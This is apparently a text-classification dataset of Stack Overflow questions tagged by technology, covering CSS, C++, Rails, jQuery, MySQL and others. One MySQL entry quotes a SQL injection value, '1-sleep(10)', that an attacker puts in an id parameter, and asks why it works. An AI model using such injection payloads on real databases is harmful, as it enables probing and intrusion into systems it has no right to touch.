textbox with search icon placement  i am not very good at css  the textbox has been aligned to right  i tried putting the search icon into the textbox  it just can t go in. here are the code:   <pre><code>&lt;style type= text/css &gt; #textbox-search{overflow:auto;}  #textbox-search input.searchkeyword {      -webkit-border-radius: 5px;      -moz-border-radius: 5px;      border-radius: 5px;      border:1px solid #8e8e8e;      background-color:#f5f5f5;      height:16px;      padding:-4px;      padding-left:-48px;      color:#4a4a4a;      float:right;  }  #textbox-search input.button{     border:0;     padding:4px;     margint:0 0 0 600px;     width:24px;     height:24px;     background:transparent url( images/search.png ) center center  no-repeat;     float:right;  } &lt;/style&gt;  &lt;form id= textbox-search &gt; &lt;input type= submit  class= button  value=   /&gt; &lt;input type= text  class= searchkeyword  /&gt; &lt;/form&gt; </code></pre>   update : <img src= https://i.stack.imgur.com/srq63.png  alt= enter image description here >,css
where is the code repository for microsoft.extensions.primitive 1.0.0-rc1-final   <a href= https://github.com/aspnet/common  rel= nofollow >https://github.com/aspnet/common</a> only has the code up to 1.0.0-beta8.    filler text to bypass stackoverflow arbitrary limit of question length.,.net
format  %c  expects argument of type  char   the error i receive is:   <pre><code>program3.cpp:13:21: warning: format ‘%c’ expects argument of type ‘char*’  but argument 2 has type ‘std::string* {aka std::basic_string&lt;char&gt;*}’ [-wformat=] </code></pre>   i m probably lacking a very fundamental part of knowledge about the c++ language and i apologise for asking this novice question (once again). also i would appreciate it if you could give feedback or point out other flaws in my code. what is wrong in my c++ code    <pre><code>#include &lt;iostream&gt; #include &lt;stdio.h&gt; using namespace std; int main(){     int harga=20000;     int diskon;     char pelanggan;     string jenisp;     printf( apakah pelanggan : [y/n] );     scanf( %c  &amp;pelanggan);     if(pelanggan== y ){         printf( apa jenis pelanggan [emas perak perunggu]: );         scanf( %c  &amp;jenisp);         if(jenisp== emas ){             diskon=harga-(0.5*harga);             printf( harga untuk pelanggan kartu emas adalah : %d  diskon);         }         else if(jenisp== perak ){             diskon=harga-(0.25*harga);             printf( harga untuk pelanggan kartu perak adalah : %d  diskon);         }         else if(jenisp== perunggu ){             diskon=harga-(0.1*harga);             printf( harga untuk pelanggan kartu perunggu adalah : %d  diskon);         }     }     else{         printf( harga untuk bukan pelanggan adalah : %d  harga);     }     return 0; } </code></pre>,c++
rating for the teacher doesn t show up after the user logged in and rated  in my rails project  a user can only rate his teacher if he already signed up and logged in. however  after the user logged in and rated the teacher  i couldn t see his rating. i don t know what cause the problem. any suggestions would be appreciated.    here is my <strong>ratings_controller.rb</strong>:   <pre><code>class ratingscontroller &lt; applicationcontroller   before_action :authenticate_user!   before_action :get_teacher    def new     get_teacher     @rating = current_user.ratings.build   end    def create     get_teacher     @rating = current_user.ratings.create(rating_params)     if @rating.save       redirect_to school_teacher_path(@teacher.school  @teacher)     else       render  new      end   end    def destroy     get_teacher     @rating = @teacher.ratings.find(params[:id])     @rating.destroy      redirect_to school_teacher_path(@teacher.school  @teacher)   end    def get_teacher     @teacher = teacher.find(params[:teacher_id])   end    private      def rating_params       params.require(:rating).permit(:easiness  :helpfulness  :clarity  :comment        :teacher_id  :school_id)     end end </code></pre>   <strong>teachers/show.html.erb</strong>:   <pre><code>&lt;!-- caculate the average rating of the teacher --&gt; &lt;h1&gt;average ratings:&lt;/h1&gt; &lt;p&gt;clarity:   &lt;%= @teacher.ratings.average(:clarity) %&gt; &lt;/p&gt; &lt;p&gt;easiness:   &lt;%= @teacher.ratings.average(:easiness) %&gt; &lt;/p&gt; &lt;p&gt;helpfulness:   &lt;%= @teacher.ratings.average(:helpfulness) %&gt; &lt;/p&gt; &lt;hr&gt;  &lt;!-- show all the ratings --&gt; &lt;h2&gt;all the ratings:&lt;/h2&gt; &lt;div&gt;   &lt;%= @teacher.ratings.each do |rating| %&gt;      &lt;p&gt;clarity:       &lt;%= rating.clarity %&gt;     &lt;/p&gt;      &lt;p&gt;helpfulness:       &lt;%= rating.helpfulness %&gt;     &lt;/p&gt;      &lt;p&gt;easiness:       &lt;%= rating.easiness %&gt;     &lt;/p&gt;      &lt;p&gt;comment:       &lt;%= rating.comment %&gt;     &lt;/p&gt;      &lt;%= link_to  delete rating   [rating.teacher  rating]  method: :delete  data: { confirm:  are you sure   }  class:  btn btn-warning  %&gt;      &lt;hr&gt;   &lt;% end %&gt; &lt;/div&gt;  &lt;p&gt;   &lt;%= link_to  rate teacher   new_teacher_rating_path(@teacher)  class:  btn btn-primary  %&gt; &lt;/p&gt;  &lt;p&gt;   &lt;%= link_to  back to school   school_path(@school)  class:  btn btn-primary  %&gt; &lt;/p&gt; </code></pre>   <strong>ratings/new.html.erb</strong>:   <pre><code>&lt;h1&gt;teacher rating&lt;/h1&gt; &lt;%= form_for([@teacher  @rating]) do |f| %&gt;   &lt;p&gt;     &lt;%= f.label :clarity %&gt;     &lt;%= f.text_field :clarity %&gt;   &lt;/p&gt;    &lt;p&gt;     &lt;%= f.label :easiness %&gt;     &lt;%= f.text_field :easiness %&gt;   &lt;/p&gt;    &lt;p&gt;     &lt;%= f.label :helpfulness %&gt;     &lt;%= f.text_field :helpfulness %&gt;   &lt;/p&gt;    &lt;p&gt;     &lt;%= f.label :comment %&gt;     &lt;br&gt;     &lt;%= f.text_area :comment %&gt;   &lt;/p&gt;    &lt;p&gt;     &lt;%= f.submit %&gt;   &lt;/p&gt; &lt;% end %&gt; </code></pre>   <strong>rating.rb</strong>:   <pre><code>class rating &lt; activerecord::base   belongs_to :teacher   belongs_to :user end </code></pre>   <strong>user.rb</strong>:   <pre><code>class user &lt; activerecord::base   # include default devise modules. others available are:   # :confirmable  :lockable  :timeoutable and :omniauthable   devise :database_authenticatable  :registerable           :recoverable  :rememberable  :trackable  :validatable   has_many :ratings   has_many :teachers end </code></pre>   <strong>teacher.rb</strong>:   <pre><code>class teacher &lt; activerecord::base   belongs_to :school   has_many :ratings  dependent: :destroy   has_many :users    def name      #{firstname} #{middlename} #{lastname}    end    def to_s     name   end end </code></pre>,ruby-on-rails
converting scrambled alphabet  i need to take an input of a scrambled alphabet and covert it to the a-z alphabet.     i think i need to change these to integers.     any idea how to take a scrambled input and changed it to integers     <strong>update:</strong>     here is the code i ve written so far. i can t use the built in functions posted  must be things we ve learned already.     if the user input is:   <pre><code>vnkw kw bo 1wv wjhfjv bjwwxej! </code></pre>   the desired output is:   <pre><code>this is my 1st secret message </code></pre>  <hr>  <pre><code>import random  def main():     encrypt = [   ] * 26   #all letters available      for numbah in range(26):         letter = chr(numbah+65)         print (letter  end=  )         # find position for number         notfound = true         while notfound:             position = random.randint(0  25)             if encrypt[position] ==    :                 notfound = false         encrypt[position] = letter      print( \nscrambled:    end=  )     for numbah in range(26):         print(encrypt[numbah]  end=  )     print( \n\n  )      msg=input( please input the scrambled alphabet in order:  )      print( now input the scrambled message:    + msg)     print( your unscrambled message reads:    end=  )     for alpha in msg.upper():         if alpha &lt;  a  or alpha &gt;  z :             print(alpha end=  )         else:             print(encrypt[ ord(alpha) - 65 ]  end=  )  main() </code></pre>,python
c++ how to create a map from two other maps  how to create map  <code>mymap3</code> as:   <pre><code>std::map&lt; vector&lt;std::pair&lt;int  int&gt;&gt;  int &gt; mymap3 </code></pre>   <strong>example:</strong>   <pre><code> mymap3[0] = ((1 3)   (1 5)  7 ) // 5 = 4 + 3  mymap3[1] = ( (2 1)   (2 4)  6 ) // 6 = 1 + 5 </code></pre>   where the key = (vector of pairs) extract from  mymap1       and the value = the sum of the pairs  values  in  mymap2 .    i also don t care about the pair order  (2 4) is the same as (4 2)   <pre><code>std::map &lt;int  vector&lt;pair&lt;int  int&gt;&gt; &gt; mymap1; std::map&lt; std::pair&lt; int  int&gt;  int&gt;  mymap2; </code></pre>   here is an <strong>example:</strong>   <blockquote> <pre><code>mymap1[0] = (0  (1 3)   (1 5) ) mymap1[1] = (1  (2 1)   (2 4) )  mymap2[0] = ( (1 3)   4 ) mymap2[1] = ( (1 5)   3 ) mymap2[2] = ( (2 1)   1 ) mymap2[3] = ( (4 2)   5 ) </code></pre> </blockquote>   i don t know how to do that  and this is my try:   <pre><code>    std::map &lt;int  vector&lt;pair&lt;int  int&gt;&gt; &gt; ::iterator it1 = mymap1.begin();     std::map&lt;std::pair&lt; int  int&gt;  int&gt; ::iterator it2 = mymap2.begin(); //  std::map&lt; vector&lt;pair&lt;int  int&gt; &gt;  int&gt; mymap3;     std::map&lt; pair&lt;int  int&gt;   int&gt; mymap3;      int i = 0;      while (it1 != mymap1.end())     {         vector&lt; pair&lt;int  int&gt; &gt; temp = mymap1[i];         vector&lt; pair&lt;int  int&gt; &gt; ::iterator it3 = temp.begin();          while (it3 != temp.end())         {             int a = it2-&gt;first.first;             int b = it2-&gt;first.second;               while (it2 != mymap2.end())             {                 if (it3 == mymap2.find(std::make_pair(a  b))                     mymap3[std::make_pair(a  b)] += it2-&gt;second;                  else                     ++it2;             }             ++it3;             ++i;         }         ++it1;     } </code></pre>   i have syntax error in:   <pre><code>if (it3 == mymap2.find(make_pair(a  b)))     mymap3[std::make_pair(a  b)] += it2-&gt;second; </code></pre>,c++
maximising browser affects text alignment  i have a problem that i have not been able to find any solution to anywhere  if somebody could help me out here i d be truly grateful.    on this page  i have 3 links scrolling to sections lower on the page. for each section there are 3 lines of white text in alignment with some arrow graphics. everything is fine until the browser is maximised and fills the screen resulting in displacement of the white text and the main black heading within the circle graphic by about 10 pixels.    i can not figure out why this is happening  and am truly stumped. here s a link to the test site and page in question. <a href= http://surefireresearchtestsite.businesscatalyst.com/ourapproach.html  rel= nofollow >http://surefireresearchtestsite.businesscatalyst.com/ourapproach.html</a>   <pre><code>html  &lt;div class= bgimageovertop &gt;      &lt;div class= wrappertwo &gt;      &lt;div  class= ourapproach  &gt;            &lt;div class= feedsbox   id= scopecontrol &gt;          &lt;h3 id= scope &gt;scope&lt;/h3&gt;         &lt;div class= scopefeedsbox &gt;             &lt;ul&gt;                 &lt;li&gt;your business&lt;/li&gt;                 &lt;li&gt;your marketing goals&lt;/li&gt;                 &lt;li&gt;the competitive market&lt;/li&gt;                                &lt;/ul&gt;                                            &lt;/div&gt;                       &lt;/div&gt;      &lt;div class= feedsbox  id= strategycontrol &gt;     &lt;!-- similar thing happening here --&gt;                    &lt;/div&gt;       &lt;div class= feedsbox  id= executecontrol &gt;                        &lt;!-- similar thing happening here --&gt;                    &lt;/div&gt;    &lt;/div&gt;  &lt;/div&gt; &lt;/div&gt;  css  .bgimageovertop{     width:100%;     height:3000px;     background: url( ../images/midsection-approach.png ) 50% 50% no-repeat;        background-size: cover;     position:relative;     z-index:50; } .wrappertwo{     width:886px;     padding-left:33px;     padding-right:33px;     margin:auto;     height:2950px;     position:relative;     top:0px;     z-index:1500; }  .ourapproach{     float:left;     text-align:center;     font-family:  rudaregular ;     height:auto;     margin-top:130px;        padding:0 10px 0px 10px;     position:relative;     z-index:1500; } .feedsbox{     width:auto;     height:auto;     position:relative;     z-index:50; } #scopecontrol{     position:relative;     top:432px;     left:263px; } #scope{     position:relative;     top:0px; } .scopefeedsbox{     width:210px;     height:auto;     line-height:1em;     position:relative;     top:-70px;     left:270px; } .scopefeedsbox ul{     float:left;     list-style-type:none; } .scopefeedsbox ul li {     float:left;     width:210px;     display:inline;     font-size:.9em;     line-height:1.2em;     text-align:left; } </code></pre>,css
adding fisheye plug-in fails to animate() on mouseleave  here is a weird one.    i have an auto-hiding toolbar  which worked perfectly  until i added plug-in called fisheye (aka interface elements). i did not even use it  i just added it.    with that plug-in loaded  my toolbar fails to animate on mouseleave.    <a href= http://jsfiddle.net/wymvk/  rel= nofollow >http://jsfiddle.net/wymvk/</a> (once you remove eval() with that plug-in - things are back to normal)    i really need this plug-in and don t wanna loose my toolbar. =)    please help resolving. thanks.,jquery
what is this short function doing   (_bird.physicsbody.velocity.dy < 0   0.003 : 0.001)  i was studying some code i noticed the following function.    obviously  it is a short form of something  i have never come across this.    what does the <strong>&lt; 0   0.003 : 0.001</strong> do   can you explain in plain english  thank you.   <pre><code>(_bird.physicsbody.velocity.dy &lt; 0   0.003 : 0.001) </code></pre>,objective-c
use of google api that is for web app  i m using google api for sending group email and manage but that is console api .     which is google api may i use in my .net web-project to send group email or manage all email id,.net
ios - app become sluggish after updating on ios 10  i created one application  where i used uicollection view in one of my dashboard. my application is working smoothly in ios version 8  9 but when i run it on ios 10 or above application become slow. i used time profiler in xcode instruments to check at which point app is taking maximum time .    i found <code>[scrollcollectionview dequeuereusablecellwithreuseidentifier:identifier forindexpath:indexpath]</code> where it is taking too much time .     please tell anybody if have any solution for my problem . my code is :-   <pre><code>- (uicollectionviewcell *)collectionview:(uicollectionview *)scrollcollectionview cellforitematindexpath:(nsindexpath *)indexpath{      static nsstring *identifier  = @ cell ;      collectionviewcell *cell = (collectionviewcell*)[scrollcollectionview dequeuereusablecellwithreuseidentifier:identifier forindexpath:indexpath];       rigobject *object = [rigdata objectatindex:indexpath.row];     cell.rignumber.text = [nsstring stringwithformat:@ %@  object.rignumber];     cell.rigtemp.text = object.rigtemp;     cell.rigtimer.text = object.rigtimer;     cell.slotused.text = object.slotused;     cell.slotfree.text = object.slotfree;     cell.rigstatus.text = object.rigstatus;     cell.shocktype.text = object.shocktype;     cell.totaltask.text = object.completedtask;     cell.pendingtask.text = object.pendingtask;     nstimeinterval interval = [[nsdate date] timeintervalsincedate:object.updateddate]/3600;     if (interval &lt; 8) {         cell.rigtimer.textcolor = [uicolor greencolor];     }     else if (interval &gt; 8 &amp;&amp; interval &lt; 16) {         cell.rigtimer.textcolor = [uicolor orangecolor];     }     else if ( interval &gt; 16) {         cell.rigtimer.textcolor = [uicolor redcolor];     }     if ([object.rigstatus isequaltostring:@ not working ]) {         cell.rigview.layer.borderwidth = 2;         cell.rigview.layer.bordercolor = [[uicolor redcolor]cgcolor];          [cell.rigstatus settextcolor:[uicolor redcolor]];     }     else     {         cell.rigview.layer.borderwidth = 0;         [cell.rigstatus settextcolor:[uicolor colorwithred:0.0491 green:0.4404 blue:0.1049 alpha:1]];     }      cell.tripdescription.tag=indexpath.row;     [cell.tripdescription addtarget:self                action:@selector(tripdescriptionclicked:) forcontrolevents:uicontroleventtouchupinside];      cell.rigview.contentmode = uiviewcontentmodescaleaspectfit;       return cell; } </code></pre>,ios
how can i check mysql engine type for a specific database   how can i check mysql engine type for a specific database via mysql query,mysql
why the sleep function is executed in an arithmatic operation    in  a normal sql query  for mysql version > 5.0     <pre><code>select a  b from table where id =1  </code></pre>   if an attacker injects 1-sleep(10) for the id parameter  why does the database sleep   what is the role of hyphen here    isn t it invalid syntax (arithmetic operation of integer and a function),mysql
dispdiag syntax in c#  can anyone please help how to call dispdiag using c#. when i am using the below code  an exception was caught with description  the system cannot find the file specified .       <pre><code>string commandpath = system.io.path.combine(environment.systemdirectory   dispdiag.exe ); processstartinfo psinfo = new processstartinfo(commandpath); psinfo.verb =  runas ;          try         {             process p = process.start(psinfo);             p.waitforexit();             //return  try done ;         }         catch (exception e)         {             //return e.message;         } </code></pre>,c#
how do i make it so that a label changes text according to a variable  i have a label and i want it to display either player or console depending on what the variable answer is.   <pre><code>    private void playerlabel_click(object sender  eventargs e)     {         string playerdetail =  player               consoledetail =  console ;         if (class.method.variable == 1)         {             show.playerdetail();         }         if else (class.method.variable == 0)         {             show.consoledetail();         }     }` </code></pre>   i then want to make it so that the label shows the string instead if you get me. i know i am not doing this properly but i can t work out how exactly to do this.,c#
value preserving across multiple pages  i am trying to post the some data on another page at this i have a back button onclick of back button i wanna reload the original page with posted data.,php
newbie sql joining question: houses  refrigerators  and apples  there are three tables in my database: apples  refrigerators  and houses. each apple belongs to a refrigerator (it has a column that references the refrigerator that it s in)  and each refrigerator belongs to a house. the problem is  each apple also belongs to a house. i guess this isn t  normalized  or whatever  but it s the way it is.    obviously  each apple should belong to the house that its refrigerator belongs to. an apple can t be in two different places at once  after all.    so  my question is this: what sql statement will allow me to find all of the  bad apples  that for some reason incorrectly reference a different house than the refrigerator that they are supposedly in. in other words  i need to find the apples that contain contradictory information.    i don t know if this is a  join  question or not  but i m sure there s probably a very straightforward way of figuring this out. i just don t know what it is. thanks for your help!,sql
(route | location)changestart preventdefault  ok  i m trying to prevent location change if token doesn t match requirements. i have simple code  which i use in <code>.run</code> stage:    <pre><code>.run([ $location   $rootscope   $http     function($location  $rootscope  $http)   {     $rootscope.$on( $routechangestart   function(event  next){       var nextpath = next.$$route.originalpath;       if (nextpath !=  /login ){         var token = localstorage.getitem( token );         $http({           method:  get             url:  /token             headers: {              auth-token : token           }         }).then(function(data){           $location.url(nextpath);         }  function(err){           event.preventdefault();  //can t prevent here           // $location.path( /login );  //this works perfectly but couse unneeded location change         })       }     }) }]) </code></pre>   location change can t be prevented neither with locationchangestart nor with routechangestart,angularjs
two ways of creating javascript objects  which one should i use   these are the ways of creating javascript objects:   <pre><code>function apple(optional_params) {     this.type =  macintosh ;     this.color =  red ;     this.getinfo = function () {         return this.color +     + this.type +   apple ;     }; }  var apple = {     type:  macintosh       color:  red       getinfo: function() {         return this.color +     + this.type +   apple ;     } } </code></pre>   i really prefer the latter one most since it s json syntax  but i ve seen more of the first one than the latter one.   <ul> <li>are there any differences between them functionally </li> <li>could each of them be extended  inherited and cloned/copied </li> <li>in the latter one i could easily create nested elements  is this possible with the first one </li> <li>in the latter one i can t pass optional parameters </li> <li>are they serving different purposes  if yes  could you give scenarios where i would use either of them.</li> </ul>,javascript
ruby on rails will paginate routes  i am trying to set up my routes for the will paginate plugin so i don t have  page=1 at the end of the url  and so i can later try to use page caching.    i ve been browsing around online and i found a few tutorials explain to use map.connect  however  i am having trouble getting it to work with my application.    here s an example url: <a href= http://localhost:3000/profile/1/browse page=1  rel= nofollow >http://localhost:3000/profile/1/browse page=1</a>    here s the routes code i ve got so far:    <pre><code>map.connect  /profile/:id/browse/:page    :controller =&gt;  profiles   :action =&gt;  browse   :id =&gt; /\d+/  :page =&gt; /\d+/ </code></pre>   this doesn t work. does anyone have any advice     i thought map.connect was pattern matching  but maybe i am missing something.    thank you,ruby-on-rails
built in types (bool vs boolean)  is <strong>bool</strong> and <strong>boolean</strong> are same   if both are same then why <strong>bool</strong> don t need <strong>system</strong> namespace  and <strong>boolean</strong> requires <strong>system</strong> namespace,.net
asp.net back and submit  i created a asp.net form. this is that.   <pre><code>&lt;form id= myform  runat= server &gt;     &lt;table&gt;          &lt;tr&gt;             &lt;td colspan= 2  style= background-color:#efefef &gt;                  &lt;h3&gt;card detail&lt;/h3&gt;             &lt;/td&gt;          &lt;/tr&gt;          &lt;tr&gt;             &lt;td class= red &gt;name&lt;/td&gt;             &lt;td&gt;                &lt;asp:textbox id= name  runat= server  /&gt;                &lt;asp:requiredfieldvalidator id= requiredfieldvalidator1  runat= server                                                         controltovalidate= name  display= none  setfocusonerror= true  errormessage= please enter a valid name.  /&gt;             &lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt;     &lt;div&gt;         &lt;asp:button id= myback  runat= server  text= back  onclientclick= window.history.back();  /&gt;         &lt;asp:button id= mysubmit  runat= server  text= submit  onclientclick= window.location.href( www.yoursever.com );  /&gt;      &lt;/div&gt; &lt;/form&gt; </code></pre>   when the myback button is clicked  the validator is active. i want to click of myback button  don t do the validator. if i insert causesvalidation= false  within myback behaviour  window.history.back() is not working. and mysubmit button is not working. how can i do this. please  help me.,asp.net
building reddit replica using rails  worried that early database construction is flawed  i m building my first rails app (a replica of reddit)  and i ve constructed two resources so far (posts and comments). realizing that i need to have a way of organizing posts  i started to create a third resource  topics. i started out on it by generating a model for topics and then running  rake db:migrate  to build a database for this model  but i soon realized that i left out one of the attributes for topics that i wanted to include when generating this model:    <blockquote>    rails generate model topic public:boolean description:text  </blockquote>   i meant to also include name as an attribute ( name:string ). i didn’t know how to add this attribute in after i had already generated the model and built a database for it  and as i had just started to build this resource in a newly created git branch  i simply added and committed my work  switched back into the master branch  deleted the branch i had created  created a new branch and started over (shouldn t this have wiped the slate clean  making it as if i had never generated a topic model and built a databse for it ) however  after beginning to build this resource again in a newly created branch (i.e. generating another model for topics and trying to build the database for this model) i was presented with a lengthy error message which began with   <pre><code>&gt;edwards-macbook-pro:bloccit teddy$ rake db:migrate &gt;== 20160503195158 createtopics: migrating       &gt;===================================== &gt;-- create_table(:topics) &gt;rake aborted! &gt;standarderror: an error has occurred  this and all later migrations    &gt;canceled:  &gt;sqlite3::sqlexception: table  topics  already exists </code></pre>   this was confusing because i checked schema.rb and no topic table was present and  to my understanding  schema.rb represents an application s complete database architecture; the tables it uses and how those tables relate to each other... so if the topic table is not present in this file  it can t already exist  right     now  when i looked here on stackoverflow for a solution  i did find this question :<a href= https://stackoverflow.com/questions/8589874/rake-dbmigrate-an-error-has-occurred-this-and-all-later-migrations-canceled >$rake db:migrate an error has occurred  this and all later migrations canceled</a>   and the solution presented in it does seem to solve my issue. however  i m a little uncertain that this is a solution for the problem i ran into because  as i stated  there was not yet a topic table in my database. if it is a solution  can someone please explain to me how i created this problem  why this solution solves my problem  and how it solves it     i m very much a newbie  and this is the first question i ve ever asked here so i apologize in advance if this is not a good question. i read the guidelines on asking a good question in the help center  and i hope that i ve followed them at least decently.    i would greatly appreciate if someone could help me to understand all of this.,ruby-on-rails
finding list menu elements in dom with jquery  i have a simple horizontal list menu with the ul li items containing a further ul (which i have styled to be display:none;    i am however  having trouble using the .slideup() function to make the child ul elements to display when the mouse hovers over the parent li item.     see the jquery and html code i have written so far respectively!    any help would be appreciated. thank you :)   <pre><code>&lt;script type= text/javascript &gt;          $(document).ready(function() {                $( #h li ).hover(                 function () {                     //show its submenu                     $( ul   this).slidedown(100);                 }                  function () {                     //hide its submenu                      $( ul   this).slideup(100);                 }             );         } &lt;/script&gt; </code></pre>   and the html:   <pre><code>&lt;div id=  nav &gt;         &lt;ul id= h &gt;                 &lt;li&gt;&lt;a href= # &gt;home&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href= # &gt;menu a&lt;/a&gt;                     &lt;ul&gt;                         &lt;li&gt;&lt;a href= # &gt;item a&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= # &gt;item b&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= # &gt;item c&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= # &gt;item d&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= # &gt;item e&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= # &gt;item f&lt;/a&gt;&lt;/li&gt;                     &lt;/ul&gt;                 &lt;/li&gt;                 &lt;li&gt;&lt;a href= # &gt;menu b&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href= # &gt;menu c&lt;/a&gt;                     &lt;ul&gt;                         &lt;li&gt;&lt;a href= # &gt;item a&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= # &gt;item b&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= # &gt;item c&lt;/a&gt;&lt;/li&gt;                     &lt;/ul&gt;                 &lt;/li&gt;                 &lt;li&gt;&lt;a href= # &gt;menu d&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href= # &gt;menu e&lt;/a&gt;&lt;/li&gt;             &lt;/ul&gt; &lt;/div&gt; </code></pre>   oh and the css just incase it s a problem with that :d   <pre><code>#nav { text-align:center; float:left; width:1000px; }  #nav ul { list-style:none; float:left; margin:0px; padding:0px; }  #nav ul li { float:left; margin:0px; padding:0px;  }  #nav ul li a {     background-image: url(../images/menu_sprite.jpg); background-repeat: no-repeat; background-position: 0px 0px; color: #ffffff; display: block; text-decoration:none; width:121px; height:31px; padding:4px 0px 0px 0px; }  #nav ul li a:hover {     background-repeat: no-repeat; background-position: 0px -35px; }  #nav ul li ul { list-style:none; float:left; margin:0px; padding:0px;     position: absolute;     display: block;     z-index: 100;     display: none; }  #nav ul li ul li {     float: none; } </code></pre>,jquery
rails layout is not used  in my app if the user is signed in i show one header  if they are not signed in i show another header.    in my <code>application.html.erb</code> file i have:   <pre><code>&lt;!-- if user is signed in and registered  show the signed_in_header  --&gt; &lt;% if user_signed_in  &amp;&amp; current_user.registration_complete  %&gt;   &lt;%= render :partial =&gt;  layouts/signed_in_header  %&gt; &lt;% else %&gt; &lt;!-- if not signed in  then show the signed_out_header  --&gt;   &lt;%= render :partial =&gt;  layouts/signed_out_header  %&gt; &lt;% end %&gt; </code></pre>   my app is not ready yet  so i want to show a  coming soon  page. in my controller i have:   <pre><code>def index   render  users/sessions/coming   :layout =&gt;  devise  end </code></pre>   and in my routes.rb:   <pre><code>root :to =&gt;  home#index  </code></pre>   which does indeed show the <code>coming.html.erb</code> file. but i want this page displayed just by itself  with no header. at present the <code>signed_out_header</code> is showing. any straight forward way to do this,ruby-on-rails
service in angular js not updating  i made a service called exampleservice wherein i made a function called  <code>dividee()</code>. below is the code:   <pre><code>confusionapp.service( exampleservice   function($rootscope) {     this.dividee = function(x  y) {         $rootscope.enteredone = x;         $rootscope.enteredtwo = y;         $rootscope.showdivideresult = x / y;     } }); </code></pre>   now i made 2 inputs where i can enter the values and i thought i would get the divided value in the below div:   <pre><code>confusionapp.controller( confusionappctrl   function($scope  exampleservice) {     exampleservice.dividee(10  3); }); </code></pre>   html:   <pre><code>&lt;input type= text  ng-model= enteredone  /&gt; &lt;input type= text  ng-model= enteredtwo  /&gt; &lt;button ng-click= dividee(enteredone  enteredtwo); &gt;&lt;/button&gt; &lt;div&gt;{{showdivideresult}}&lt;/div&gt; </code></pre>   but what is happening is tat i get the values inserted in the textboxes and get the divided values in the div on load (ie  10 and 3 in the textboxes and 3.33 in div)  but not when i change any value in the textboxes. please help. thanks in advance,angularjs
scanf gets stuck  i m having an issue with <code>scanf()</code> getting stuck  and the only way to continue the program is to type exit.    my input is something like this:   <pre><code>l 1 1 3 4 c 2 3 4 </code></pre>   where the numbers are the parameters for l and c.    <pre><code>int main () { // get use input and put in array int count  x; int array[4]; char type;  scanf( %c   &amp;type);  for (x = 0; x &lt; 2; x++) {     if (type ==  l )     {         for (count = 0; count &lt; 4; count++)         {             scanf( %d   &amp;array[count]);         }      } else if (type ==  c )     {         for (count = 0; count &lt; 3; count++)         {             scanf( %d   &amp;array[count]);         }      }      if (scanf( %*[ \n\t]%c   &amp;type) == 0)     {         printf( error );         break;     } } </code></pre>   the scanf statement in question:   <pre><code>scanf( %*[ \n\t]%c   &amp;type) </code></pre>   works fine if i m not at the end of the line  but breaks otherwise. however  i won t know how many l and c objects i will have so can t rely on the value from the for loop.,c
create php array from strings that contains bracket literals  i have a number of strings  that contain the bracket literals:    <pre><code>0 =&gt; string  [139432 97]  (length=18) 1 =&gt; string  [139440 99]  (length=18) </code></pre>   i need to create string arrays of <code>[139432 97]</code> and <code>[139440 99]</code>.    i ve tried using <code>json_decode()</code>  but while it works  it creates arrays as <code>float</code> or <code>int</code> using the above data  however i want them as <code>strings</code>.   <pre><code>array (size=2) 0 =&gt; float 139432 1 =&gt; int 97  array (size=2) 0 =&gt; float 139440 1 =&gt; int 97 </code></pre>,php
jquery dynamic element is created but not able to get the handle to dynamic elements  in the below code  i am looping through each xml and creating dynamic content.    <pre><code>$( #instdiv ).append(  &lt;div&gt;&lt;b&gt;  +  $(this).attr( institute ) +  &lt;/b&gt;&lt;/div&gt;  +   &lt;div&gt;type:   + $(this).find( type ).text() +   &lt;/div&gt;  +  &lt;div&gt;name:&lt;/div&gt;  +   &lt;div onclick=\ showdiv( inst +idcounter+  );\ &gt;&lt;b&gt;  + $(this).find( rm ).text() +   &lt;/b&gt;&lt;/div&gt;  +  &lt;span id=\ inst +idcounter+ \  &gt;  +   &lt;table&gt;&lt;tr&gt;&lt;td rowspan=3&gt;&lt;img height=50 width=40 src= imgurl &gt;&lt;/img&gt;&lt;/td&gt;&lt;td&gt;phone#:   + $(this).find( ph ).text() +  &lt;/td&gt;&lt;/tr&gt;  +   &lt;tr&gt;&lt;td&gt;email:   + $(this).find( mail ).text() +   &lt;/td&gt;&lt;/tr&gt;  +  &lt;tr&gt;&lt;td&gt;location:   + $(this).find( loc ).text() +   &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/span&gt;  ); </code></pre>   calling a <code>showdiv</code> function on click of the name. creating a span with id as inst &amp; counter.    so for the first element  the id would be <code>inst0</code>.     the <code>showdiv</code> function code is shown below.   <pre><code>function showdiv(divid) {  alert(divid);  alert($( #instdiv ).html());  alert($(divid).length);  $(divid).toggle();  } </code></pre>   in the above code  i am able to get the <code>divid</code> value &amp; <code>innerhtml</code> of <code>instdiv</code> also printing the span with the same id.    but  when i try to print that <code>divid</code> length  its returning <strong>0</strong>. which means  there is no element with that id. in our example the id is <code>inst0</code>. but  this is present in <code>instdiv</code> innerhtml.    how can i get the access to that element. i need to toggle the display on click of the name.,jquery
fmdb library missing in xcode 8.x  ld: library not found for -lpods-project_name-fmdb clang: error: linker command failed with exit code 1 (use -v to see invocation)    the above error in xcode8.1 but code successfully run in xcode 7.x versions.,ios
there isn t notificationcompat in my eclipse  i am learning android programming by developer.android  this website use  notificationcompat  class for create notification.but in my eclipse don t has this class  what can i do     work with api-14,android
cannot acess a class from virtual directory  using c# in an asp.net application  i have a class <code>class1</code> in the <code>app_code</code> folder. i can create a <code>c1</code> object and use it in default.aspx.cs page  and it works fine. however  when i create a virtual directory and run it from there  it gives me the following error:   <blockquote>    cs0246: the type or namespace name  class1  could not be found (are you missing a using directive   </blockquote>,asp.net
